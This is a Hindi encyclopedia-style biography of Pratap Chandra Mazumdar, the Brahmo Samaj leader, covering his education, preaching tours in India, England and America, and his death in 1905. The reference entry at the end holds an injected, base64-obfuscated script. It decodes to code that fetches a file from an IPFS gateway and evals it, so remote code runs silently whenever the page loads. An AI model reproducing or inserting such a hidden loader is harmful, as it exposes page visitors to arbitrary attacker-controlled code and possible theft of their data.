प्रतापचंद्र मज़ूमदार

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प्रतापचंद्र मज़ूमदार
प्रतापचंद्र मज़ूमदार
पूरा नाम प्रतापचंद्र मज़ूमदार
जन्म 1840
जन्म भूमि हुगली, पश्चिम बंगाल
मृत्यु 24 मई, 1905
मृत्यु स्थान कलकत्ता
विद्यालय प्रेसीडेंसी कॉलिज
अन्य जानकारी प्रतापचंद्र मज़ूमदार ने भारत और विदेशों की व्यापक स्तर पर यात्रा की तथा सन् 1893 में सिकागो में एक धार्मिक संसद को संबोधित किया।
अद्यतन‎ 04:31, 1 मार्च-2017 (IST)

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प्रतापचंद्र मज़ूमदार (अंग्रेज़ी: Pratap Chandra Mazumdar, जन्म- 1840 हुगली ज़िला, बंगाल; मृत्यु- 24 मई, 1905, कलकत्ता) ब्रह्मसमाज के प्रसिद्ध नेता थे। प्रतापचंद्र मज़ूमदार उदार और प्रगतिशील विचारों के व्यक्ति थे। ये एक रचनाकार भी थे जिन्होंने कई ग्रंथों की रचनाएं भी की थी। इन पर देवेन्द्र नाथ टैगोर और केशव चंद्र सेन के विचारों का गहरा प्रभाव था। बंकिम चंद्र चटर्जी और सुरेन्द्र नाथ बनर्जी इनके निकट के सहयोगी थे।[1]

जन्म एवं शिक्षा

प्रतापचंद्र मज़ूमदार का जन्म बंगाल के हुगली ज़िले में 1840 ई. में हुआ था। इन्होंने प्रेसिडेंसी कॉलेज कोलकाता से शिक्षा प्राप्त की।

ब्रह्म समाज के विचारक

प्रतापचंद्र मज़ूमदार 1859 में विधिवत् ब्रह्म समाज मे सम्मिलित हो गए थे। परंतु संगठन में मतभेद हो जाने के कारण जब ये केशव चंद्र सेन से मिले जिन्होंने 1865 में 'नव विधान समाज' नाम का अलग संगठन बनाया था, से जुड़ गये। प्रतापचंद्र मज़ूमदार ने ब्रह्म समाज की विचारधाराओं के प्रचार लिए भारत के सभी प्रमुख नगरों की यात्राएँ कीं और भाषण दिए।

इंग्लैंड में भाषण

प्रतापचंद्र मज़ूमदार 1874 और 1883 में ब्रह्म समाज की विचारधाराओं के प्रचार करने के लिये इंग्लैंड गए और भाषण दिये। 1893 से 1894 के शिकागो के धार्मिक सम्मेलन में भी इन्होंने भारतीय दर्शन पर भाषण दिये। अमेरिका में ये तीन महीने रहे और अनेक भाषण दिये। अमेरिका में इनके भाषणों का इतना प्रभाव पड़ा कि इनकी सहायता करने के लिये लोगों ने वहाँ 'मज़ूमदार मिशन फंड' के नाम से धन संग्रह करना शुरू कर दिया था। अपने विचारों के प्रचार के लिए 1900 ई. में प्रतापचंद्र मज़ूमदार एक बार फिर अमेरिका गए।

व्यक्तित्व

प्रतापचंद्र मज़ूमदार उदार और प्रगतिशील विचारों के व्यक्ति थे। ये समाज में जाति, धर्म, भाषा आदि के आधार पर किसी प्रकार का भेदभाव नहीं मानते थे। इन्होंने युवाओं को प्रशिक्षित करने के लिए एक संस्था की स्थापना की थी जो बाद में कोलकाता विश्वविद्यालय का हिस्सा बन गई। इन्होंने कई ग्रंथों की रचनाएं भी की थी।

मृत्यु

प्रतापचंद्र मज़ूमदार का 24 मई, 1905 को कलकत्ता में निधन हो गया था।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 485 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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